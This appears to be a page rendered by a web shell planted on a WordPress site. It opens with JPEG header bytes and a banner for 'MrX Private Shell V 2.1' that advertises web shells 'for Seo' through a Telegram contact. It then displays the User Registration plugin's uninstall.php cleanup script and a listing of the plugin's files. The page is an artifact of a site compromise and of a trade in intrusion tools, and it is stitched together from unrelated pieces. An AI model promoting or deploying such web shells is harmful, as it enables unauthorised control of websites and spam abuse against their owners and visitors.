����JFIF���������
__ __ __ __ _____ _ _ _____ _ _ _ | \/ | \ \ / / | __ \ (_) | | / ____| | | | | | \ / |_ __\ V / | |__) | __ ___ ____ _| |_ ___ | (___ | |__ ___| | | | |\/| | '__|> < | ___/ '__| \ \ / / _` | __/ _ \ \___ \| '_ \ / _ \ | | | | | | |_ / . \ | | | | | |\ V / (_| | || __/ ____) | | | | __/ | | |_| |_|_(_)_/ \_\ |_| |_| |_| \_/ \__,_|\__\___| |_____/|_| |_|\___V 2.1 if you need WebShell for Seo everyday contact me on Telegram Telegram Address : @jackleetFor_More_Tools:
<?php
/**
* UserRegistration Uninstall
*
* Uninstalls the plugin and associated data.
*
* @package UserRegistration/Uninstaller
* @version 1.0.0
*/
defined( 'WP_UNINSTALL_PLUGIN' ) || exit;
global $wpdb;
wp_clear_scheduled_hook( 'user_registration_cleanup_logs' );
wp_clear_scheduled_hook( 'user_registration_cleanup_sessions' );
/*
* Only remove ALL product and page data if UR_REMOVE_ALL_DATA constant is set to true in user's
* wp-config.php. This is to prevent data loss when deleting the plugin from the backend
* and to ensure only the site owner can perform this action.
*/
$uninstall_option = get_option( 'user_registration_general_setting_uninstall_option', false );
if ( defined( 'UR_REMOVE_ALL_DATA' ) && true === UR_REMOVE_ALL_DATA || 'yes' == $uninstall_option || true == $uninstall_option ) {
include_once dirname( __FILE__ ) . '/includes/class-ur-install.php';
// Roles + caps.
UR_Install::remove_roles();
// Pages.
wp_trash_post( get_option( 'user_registration_myaccount_page_id' ) );
wp_trash_post( get_option( 'user_registration_default_form_page_id' ) );
// Tables.
UR_Install::drop_tables();
// Delete options.
$wpdb->query( "DELETE FROM $wpdb->options WHERE option_name LIKE 'user_registration\_%';" );
$wpdb->query( "DELETE FROM $wpdb->options WHERE option_name LIKE 'ur\_%';" );
$wpdb->query( "DELETE FROM $wpdb->options WHERE option_name LIKE 'urmc\_%';" );
// Delete usermeta.
$wpdb->query( "DELETE FROM $wpdb->usermeta WHERE meta_key LIKE 'user_registration\_%';" );
// Delete form id and confirm key.
$wpdb->query( "DELETE FROM $wpdb->usermeta WHERE meta_key IN ( 'ur_form_id', 'ur_confirm_email', 'ur_confirm_email_token' ) " );
$args = array(
'order' => 'ASC',
'numberposts' => -1,
'status' => 'publish',
'post_type' => array( 'user_registration', 'ur_membership', 'ur_membership_groups' ),
'orderby' => 'ID',
'order' => 'DESC',
'no_found_rows' => true,
'nopaging' => true,
);
$all_forms = get_posts( $args );
foreach ( $all_forms as $form ) {
$result = wp_delete_post( $form->ID );
$del_meta = $wpdb->delete( $wpdb->postmeta, array( 'post_id' => $form->ID ) );
}
// Clear any cached data that has been removed.
wp_cache_flush();
}
| Name | Type | Size | Permission | Actions |
|---|---|---|---|---|
| assets | Folder | 0755 |
|
|
| chunks | Folder | 0755 |
|
|
| includes | Folder | 0755 |
|
|
| languages | Folder | 0755 |
|
|
| modules | Folder | 0755 |
|
|
| templates | Folder | 0755 |
|
|
| vendor | Folder | 0755 |
|
|
| CHANGELOG.txt | File | 70.68 KB | 0644 |
|
| license.txt | File | 35.36 KB | 0644 |
|
| phpunit.watcher.yml.dist | File | 116 B | 0644 |
|
| phpunit.xml.dist | File | 418 B | 0644 |
|
| readme.txt | File | 38.81 KB | 0644 |
|
| uninstall.php | File | 2.22 KB | 0644 |
|
| user-registration.php | File | 20.87 KB | 0644 |
|
| wpml-config.xml | File | 3.99 KB | 0644 |
|